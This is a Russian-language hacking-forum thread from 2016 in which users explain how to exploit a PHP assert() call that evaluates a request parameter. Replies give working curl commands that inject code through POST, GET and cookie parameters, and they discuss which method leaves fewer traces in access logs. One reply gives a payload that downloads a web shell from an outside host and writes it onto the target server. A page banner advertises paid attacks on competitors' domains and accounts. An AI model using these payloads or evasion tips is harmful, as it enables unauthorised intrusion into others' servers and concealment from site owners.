PHP assert

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
PHP assert

Опции темы

Поиск в этой теме

Опции просмотра

25.04.2016, 15:11

marynli

Новичок

Регистрация: 29.06.2015

Сообщений: 26

С нами: 5723606

Репутация: 0

Допустим в php файле на сайте есть строка вида:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]123123123[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]

Как можно раскрутить это? С PHP плохо знаком, но шестое чувство подсказывает что он получает запрос на переменную 123123123 и выполняет PHP код (assert).

Как можно написать PHP скрипт чтобы использовать данную уязвимость ?

Какой код лучше заливать?

𝕏 Twitter Reddit Telegram Копировать ссылку

25.04.2016, 15:17

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от marynli

↑
Допустим в php файле на сайте есть строка вида:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]123123123[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]

Как можно раскрутить это? С PHP плохо знаком, но шестое чувство подсказывает что он получает запрос на переменную 123123123 и выполняет PHP код (assert).
Как можно написать PHP скрипт чтобы использовать данную уязвимость ?
Какой код лучше заливать?

в параметр 123123123 пишешь пхп код, он выполняется

curl 'http://site.ru/' --data '123123123=phpinfo();'

25.04.2016, 18:40

strelok20094

Познающий

Регистрация: 26.03.2011

Сообщений: 81

С нами: 7964246

Репутация: 2

site.com/yourfile.php?123123123=phpinfo();

25.04.2016, 18:49

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от strelok20094

↑
site.com/yourfile.php?123123123=phpinfo();

get палевно

25.04.2016, 18:52

strelok20094

Познающий

Регистрация: 26.03.2011

Сообщений: 81

С нами: 7964246

Репутация: 2

Цитата:

Сообщение от t0ma5

↑
get палевно

а пост беспалевно? вот тебе выдерка из access log

xx.xx.xx.xxx - - [xx/Apr/xx:xx:xx:xx-0500] "POST /yourfile.php HTTP/1.1" 200 44

25.04.2016, 19:02

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от strelok20094

↑
а пост беспалевно? вот тебе выдерка из access log
xx.xx.xx.xxx - - [xx/Apr/xx:xx:xx:xx-0500] "POST /yourfile.php HTTP/1.1" 200 44

вот тебе выдержка из access log

xx.xx.xx.xxx - - [xx/Apr/xx:xx:xx:xx-0500] "GET /yourfile.php?123123123=phpinfo(); HTTP/1.1" 200 44

сам ответь что беспалевней

25.04.2016, 19:08

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

если уж на то пошло то я бы через куки слал

curl 'http://site.ru' -H 'Cookie: '123123123=phpinfo()'

29.04.2016, 17:02

marynli

Новичок

Регистрация: 29.06.2015

Сообщений: 26

С нами: 5723606

Репутация: 0

А как запихать туда веб шелл?

29.04.2016, 17:14

private_static

Участник форума

Регистрация: 19.05.2015

Сообщений: 117

С нами: 5782646

Репутация: 22

Цитата:

Сообщение от marynli

↑
А как запихать туда веб шелл?

Код:

site.com/file.php?123123123=copy("http://mysite.com/shell.txt","shell.php");

зальётся по пути site.com/shell.php

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход